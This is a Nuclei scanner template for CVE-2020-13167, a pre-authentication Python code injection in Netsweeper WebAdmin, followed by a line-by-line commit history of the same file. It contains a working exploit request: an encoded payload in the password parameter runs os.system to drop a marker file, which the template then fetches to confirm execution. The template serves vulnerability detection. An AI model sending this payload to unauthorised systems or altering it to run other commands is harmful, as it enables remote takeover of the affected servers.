nuclei-templates/cves/2020/CVE-2020-13167.yaml

id: CVE-2020-13167

info:
  name: Netsweeper WebAdmin unixlogin.php Python Code Injection
  author: dwisiswant0
  severity: critical
  description: Netsweeper through 6.4.3 allows unauthenticated remote code execution because webadmin/tools/unixlogin.php (with certain Referer headers) launches a command line with client-supplied parameters, and allows injection of shell metacharacters.
  tags: cve,cve2020,netsweeper,rce
  reference:
    - https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/
    - https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says

requests:
  - method: GET
    path:
        # Hex payload: echo "bm9uZXhpc3RlbnQ=" | base64 -d > /usr/local/netsweeper/webadmin/out
      - "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5"
      - "{{BaseURL}}/webadmin/out"
    headers:
      Referer: "{{BaseURL}}/webadmin/admin/service_manager_data.php"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "nonexistent"
        part: body

      - type: status
        status:
          - 200
misc changes 2021-01-02 04:56:15 +00:00			`id: CVE-2020-13167`
:fire: Add Netsweeper WebAdmin PreAuth RCE - CVE-2020-13167 2020-07-07 19:26:15 +00:00
			`info:`
			`name: Netsweeper WebAdmin unixlogin.php Python Code Injection`
			`author: dwisiswant0`
			`severity: critical`
description 2020-08-25 22:52:00 +00:00			`description: Netsweeper through 6.4.3 allows unauthenticated remote code execution because webadmin/tools/unixlogin.php (with certain Referer headers) launches a command line with client-supplied parameters, and allows injection of shell metacharacters.`
Added tags to cves :sunglasses: (#813) * Added tags to cves :sunglasses: 2021-02-05 19:44:41 +00:00			`tags: cve,cve2020,netsweeper,rce`
Removed pipe (\|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84 2021-08-18 11:37:49 +00:00			`reference:`
Add references 2021-03-11 16:45:17 +00:00			`- https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/`
			`- https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says`
:fire: Add Netsweeper WebAdmin PreAuth RCE - CVE-2020-13167 2020-07-07 19:26:15 +00:00
			`requests:`
			`- method: GET`
			`path:`
removed extra headers not required for template 2021-09-08 12:17:19 +00:00			`# Hex payload: echo "bm9uZXhpc3RlbnQ=" \| base64 -d > /usr/local/netsweeper/webadmin/out`
:hammer: Update payload due to false-positives - CVE-2020-13167 2020-07-08 20:02:14 +00:00			`- "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5"`
			`- "{{BaseURL}}/webadmin/out"`
:fire: Add Netsweeper WebAdmin PreAuth RCE - CVE-2020-13167 2020-07-07 19:26:15 +00:00			`headers:`
removed extra headers not required for template 2021-09-08 12:17:19 +00:00			`Referer: "{{BaseURL}}/webadmin/admin/service_manager_data.php"`

:fire: Add Netsweeper WebAdmin PreAuth RCE - CVE-2020-13167 2020-07-07 19:26:15 +00:00			`matchers-condition: and`
			`matchers:`
			`- type: word`
			`words:`
			`- "nonexistent"`
			`part: body`
removed extra headers not required for template 2021-09-08 12:17:19 +00:00
:fire: Add Netsweeper WebAdmin PreAuth RCE - CVE-2020-13167 2020-07-07 19:26:15 +00:00			`- type: status`
			`status:`
description 2020-08-25 22:52:00 +00:00			`- 200`